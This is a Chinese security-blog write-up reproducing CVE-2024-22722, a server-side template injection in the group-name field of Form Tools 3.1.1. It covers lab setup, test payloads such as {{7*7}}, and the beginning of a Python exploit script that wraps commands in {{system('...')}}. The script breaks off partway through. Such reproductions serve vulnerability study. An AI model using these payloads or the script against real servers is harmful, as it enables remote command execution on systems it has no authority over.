Form-Tools-3.1.1 SSTI服务器端模板注入漏洞(CVE-2024–22722)
Form Tools 3.1.1 存在 SSTI 漏洞,允许攻击者通过组名字段执行任意命令。文章介绍了漏洞背景、环境搭建方法及复现步骤,并提供了利用脚本 CVE-2024–22722.py 进行验证。 2025-9-20 08:27:4 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

1758356769_68ce6521112f9a3262749.jpg!small?1758356770577

Form Tools 介绍:

Form Tools 是一个功能强大、灵活、免费且开源的 PHP/MySQL 脚本,您可以将其安装在您的网站上以管理您的表单和数据。

漏洞概述:

Form Tools 3.1.1 中的服务器端模板注入 (SSTI) 漏洞允许攻击者通过应用程序添加表单部分下的组名字段运行任意命令。

漏洞版本:

Form Tools 3.1.1

FOFA:

title="Form Tools"

环境搭建:

复现使用虚拟机进行复现,虚拟机镜像为windows server 2019 镜像下载地址如下:

ed2k://|file|cn_windows_server_2019_updated_march_2019_x64_dvd_c1ffb46c.iso|5347280896|49FCF8C558517608537E0396854560D6|/

下载完成,使用vmware 搭建,并关闭防火墙

1758356124_68ce629c6c255d2254ecf.png!small?1758356125893

1758356134_68ce62a6c0064d4dc3a89.png!small?1758356136236

下载小皮面板安装。下载地址如下:

https://public.xp.cn/upgrades/phpStudy_64.zip

默认安装到C盘即可安装完成如下:

1758356169_68ce62c9853dfdadcafbe.png!small?1758356171011

点击网站将默认的网站删除,新建一个网站域名填上靶机ip 即可

1758356187_68ce62db3a8f3f9f0b39a.png!small?1758356188722

点击确定后搭建完成,下载Form Tools 3.1.1,下载地址如下:

https://formtools.org/download/packages/Formtools-3.1.1-02202026.zip

放入网站根目录并解压

1758356221_68ce62fdbf40825fa3acf.png!small?1758356223199

新建一个数据库

1758356240_68ce6310c2f1e380a579f.png!small?1758356242315

访问目标地址

1758356294_68ce6346b39b825e2d0fc.png!small?1758356296098

已知继续继续

1758356312_68ce6358021920e97f531.png!small?1758356313420

点击创建

1758356327_68ce6367bae44f8f5a32d.png!small?1758356329150

1758356336_68ce6370cfcb99217e179.png!small?1758356338243

1758356346_68ce637a64595f46e9149.png!small?1758356347759

此时环境搭建完成

漏洞复现:

该漏洞利用需要进入后台

1758356378_68ce639a0dc556bb35daf.png!small?1758356379472

点击添加表格,内部

1758356393_68ce63a9790470fcc32b7.png!small?1758356394915

1758356403_68ce63b38d5d97fcd039a.png!small?1758356405020

漏洞存在于点击处

1758356424_68ce63c84417997e28192.png!small?1758356425824

1758356434_68ce63d2837678dc654ad.png!small?1758356436256

输入{{7*7}}并更新得到计算结果

1758356449_68ce63e1ab58617021413.png!small?1758356451332

1758356460_68ce63ec1e6e15f6d20c6.png!small?1758356465779

可以看到执行计算后的结果,尝试{{7*'7'}} 同样可以返回结果

1758356477_68ce63fd6143d8a630b45.png!small?1758356478811

1758356486_68ce64068701339e4e546.png!small?1758356488059

因此可确定类型是Jinja2 或者Twig,使用如下模板注入查看版本

{$smarty.version}

1758356517_68ce6425541f75759b70b.png!small?1758356518681

由于模板注入大多数针对的是linux 系统,索性就在linux 上用宝塔重新搭建了一下,前面步骤一致

1758356537_68ce64399581c250fa53d.png!small?1758356538995

使用脚本执行命令

CVE-2024–22722.py

import re 
import json 
import argparse 
from urllib.parse import urljoin, urlparse, parse_qs 
import requests 
 
# ----------------------- 
# Config 
# ----------------------- 
BASE = "http://192.168.41.129"  # Default value, will be overridden by command line args 
 
# Login 
LOGIN_URL   = "" 
LANDING_URL = "" 
 
USERNAME = "admin"  # Default value, will be overridden by command line args 
PASSWORD = "123456"  # Default value, will be overridden by command line args 
 
# Form creation 
FORM_NAME   = "Test01" 
NUM_FIELDS  = 5 
ACCESS_TYPE = "admin" 
 
# After form creation, server redirects to /admin/forms/edit/?form_id=...&message=... 
VERIFY_AFTER_ADD = ""  # Will be set in main() based on command line args 
 
# View Group creation (AJAX) 
ACTIONS_URL = ""  # Will be set in main() based on command line args 
 
# Optional: route through Burp in a lab 
USE_BURP = False 
PROXIES = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} 
 
COMMON_HEADERS = { 
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0", 
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 
    "Accept-Language": "en-US,en;q=0.5", 
    "Connection": "keep-alive", 
    "Upgrade-Insecure-Requests": "1", 
} 
 
# Debug toggle (set via --debug) 
DEBUG = False 
 
# --------- Hardcoded naming convention --------- 
NAME_PREFIX = "{{system('" 
NAME_SUFFIX = "')}}" 
# ----------------------------------------------- 
 
# ----------------------- 
# Helpers 
# ----------------------- 
def log(msg: str): 
    print(f"[+] {msg}") 
 
def dlog(msg: str): 
    if DEBUG: 
        print(f"[D] {msg}") 
 
def show_redirects(resp: requests.Response): 
    for 

已在FreeBuf发表 0 篇文章

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/vuls/449610.html
如有侵权请联系:admin#unsafe.sh